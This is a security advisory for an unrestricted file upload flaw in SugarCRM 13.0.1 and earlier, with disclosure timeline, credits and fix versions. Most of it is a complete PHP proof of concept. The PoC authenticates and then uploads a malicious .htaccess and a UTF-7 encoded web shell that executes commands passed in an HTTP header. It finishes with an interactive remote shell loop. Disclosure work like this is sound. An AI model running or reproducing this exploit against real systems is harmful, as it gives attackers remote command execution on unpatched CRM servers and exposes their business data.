SugarCRM 13.0.1 Shell Upload

-------------------------------------------------------------------------------SugarCRM <= 13.0.1 (set_note_attachment) Unrestricted File Upload Vulnerability-------------------------------------------------------------------------------[-] Software Link:https://www.sugarcrm.com[-] Affected Versions:Version 13.0.1 and prior versions.Version 12.0.3 and prior versions.[-] Vulnerability Description:When handling the "set_note_attachment" SOAP call, the application allows uploading ofany kind of file into /upload/ directory. This one is protected by the main SugarCRM.htaccess file, i.e. it doesn't allow access/execution of PHP files. However, thisbehavior can be overridden if the subdirectory contains another .htaccess file.So, an attacker can leverage the vulnerability to firstly upload a new .htaccessfile and then to upload the PHP code they want to execute.[-] Proof of Concept:https://karmainsecurity.com/pocs/KIS-2023-11.php(Packet Storm note: POC included at bottom)[-] Solution:Upgrade to version 13.0.2, 12.0.4, or later.[-] Disclosure Timeline:[23/04/2023] - Vendor notified[21/09/2023] - Fixed versions released[06/10/2023] - CVE identifier requested[26/10/2023] - Publication of this advisory[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has not assigned a CVE identifier for this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Original Advisory:https://karmainsecurity.com/KIS-2023-11[-] Other References:https://support.sugarcrm.com/resources/security/sugarcrm-sa-2023-011/--- KIS-2023-11.php poc ---<?phpset_time_limit(0);error_reporting(E_ERROR);if (!extension_loaded("curl")) die("[+] cURL extension required!\n");if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>\n");list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];print "[+] Logging in with username '{$user}' and password '{$pass}'\n";$ch = curl_init();$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/token");curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!\n");print "[+] Creating new Notes bean (ID: .htaccess)\n";$note_id = ".htaccess";curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/Notes");curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));if (!preg_match("/$note_id/", curl_exec($ch))) die("[+] Bean creation failed!\n");print "[+] Creating new Notes bean (ID: sh.php)\n";$note_id = "sh.php";curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));if (!preg_match("/$note_id/", curl_exec($ch))) die("[+] Bean creation failed!\n");require_once("./lib/nusoap.php");$client = new nusoap_client("{$url}soap.php", false);if (($err = $client->getError())){  echo "\nConstructor error: $err";  echo "\nDebug: " . $client->getDebug() . "\n";  die();}print "[+] Sending SOAP login request\n";$params = ["user_auth" => ["user_name" => $user, "password" => $pass]];$session = $client->call('login', $params);if ($session['id'] == -1) die("[+] SOAP login failed!\n");print "[+] Uploading .htaccess through 'set_note_attachment'\n";$htaccess = "RewriteEngine on\nRewriteBase /upload\nRewriteRule ^(.*)$ - [L]\nphp_flag zend.multibyte 1\nphp_value zend.script_encoding \"UTF-7\"";$params = ["session" => $session['id'], "note" => ["id" => ".htaccess", "file" => base64_encode($htaccess)]];$client->call("set_note_attachment", $params);print "[+] Uploading shell through 'set_note_attachment'\n";$shell = "+ADw?php passthru(\$_SERVER['HTTP_CMD']); ?>";$params = ["session" => $session['id'], "note" => ["id" => "sh.php", "file" => base64_encode($shell)]];$client->call("set_note_attachment", $params);print "[+] Launching shell\n";curl_setopt($ch, CURLOPT_URL, "{$url}upload/sh.php");while(1){    print "\nsugar-shell# ";    if (($cmd = trim(fgets(STDIN))) == "exit") break;    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".$cmd]);    ($r = curl_exec($ch)) ? print $r : die("\n[+] Exploit failed!\n");}